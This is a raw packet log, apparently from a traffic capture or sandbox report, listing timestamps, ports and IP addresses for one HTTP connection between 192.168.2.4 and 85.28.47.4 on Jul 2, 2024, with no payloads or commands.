Jul 2, 2024 15:26:08.584882975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584898949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584901094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.584909916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584923029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.584945917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584952116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.584955931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584981918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.585005045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.585042953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585055113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585087061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.585093975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585104942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585135937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585140944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.585164070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585175991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.585179090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585200071 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.585215092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.585515976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585550070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585558891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585558891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.585582018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.585597038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.585597992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585612059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585623980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585637093 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.585650921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585653067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.585665941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.585674047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585684061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585686922 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.585704088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585706949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.585716009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585725069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.585742950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.585798025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585808992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585828066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585838079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.585849047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585860968 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.585859060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585877895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585884094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.585891008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585899115 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.585911036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585913897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.585926056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585930109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.585944891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.585957050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.585959911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585971117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585994005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.585998058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.586005926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.586016893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.586025953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.586040020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.586040020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.586057901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.586067915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.586081028 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.669116974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669142008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669164896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669179916 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.669189930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669203997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669225931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669231892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.669231892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.669231892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.669240952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669245005 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.669265032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.669276953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.669317961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669331074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669349909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669356108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.669361115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669383049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.669393063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669404984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.669408083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669421911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.669428110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669437885 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.669467926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.669637918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669648886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669666052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669676065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669678926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.669696093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669707060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669712067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.669728994 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.669749975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.669805050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669816017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669836998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669845104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.669852972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669858932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.669868946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669873953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.669889927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.669902086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.669962883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669975042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.669991016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.670001030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.670006037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.670022964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.670027018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.670051098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.670084953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.670095921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.670114994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.670123100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.670135021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.670150042 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.670233965 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.670247078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.670263052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.670274019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.670283079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.670295000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.670315027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.670315027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.670332909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.670352936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.670367956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.670401096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.670502901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.670515060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.670535088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.670547962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.674993038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675009012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675029039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675038099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675052881 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.675056934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675069094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675076008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.675090075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675093889 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.675122023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675122023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.675143957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675153971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675163984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.675172091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675189018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.675189972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675215960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.675239086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.675292015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675312996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675322056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675329924 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.675339937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675340891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.675350904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675359011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.675374985 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.675389051 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.675837994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675848961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675868034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675877094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675884962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.675898075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675908089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675914049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.675925970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675930977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.675942898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675959110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.675960064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.675977945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.675986052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.676002979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.676008940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.676019907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.676022053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.676038980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.676047087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.676049948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.676069021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.676071882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.676079988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.676091909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.676100969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.676109076 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.676111937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.676130056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.676132917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.676158905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.676166058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.676465988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.676503897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.676508904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.676520109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.676537991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.676541090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.676549911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.676558018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.676570892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.676570892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.676583052 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.676589012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.676603079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.676609993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.676614046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.676619053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.676639080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.676645041 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.676661015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.676675081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.676690102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.676698923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.676728010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.676820040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.676861048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.676996946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.677010059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.677031040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.677031994 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.677064896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.677078009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.677175045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.677186012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.677203894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.677213907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.677223921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.677237034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.677247047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.677256107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.677265882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.677273989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.677300930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.677303076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.677314997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.677330017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.677340031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.677341938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.677359104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.677369118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.677370071 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.677387953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.677390099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.677409887 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.677423000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.679073095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.679086924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.679105043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.679141998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.679161072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.679204941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.679217100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.679236889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.679248095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.679254055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.679266930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.679271936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.679282904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.679311037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757167101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757234097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757246017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757272005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757282972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757297993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757303953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757297993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757342100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757342100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757349968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757360935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757380009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757384062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757390976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757410049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757410049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757432938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757456064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757477999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757500887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757509947 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757515907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757534981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757534981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757548094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757555962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757566929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757567883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757580996 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757586002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757600069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757602930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757622004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757623911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757633924 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757639885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757658005 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757662058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757677078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757694960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757834911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757857084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757869959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757875919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757886887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757890940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757908106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757908106 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757920027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757925034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.757937908 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.757941961 CEST	80	49730	85.28.47.4	192.168.2.4
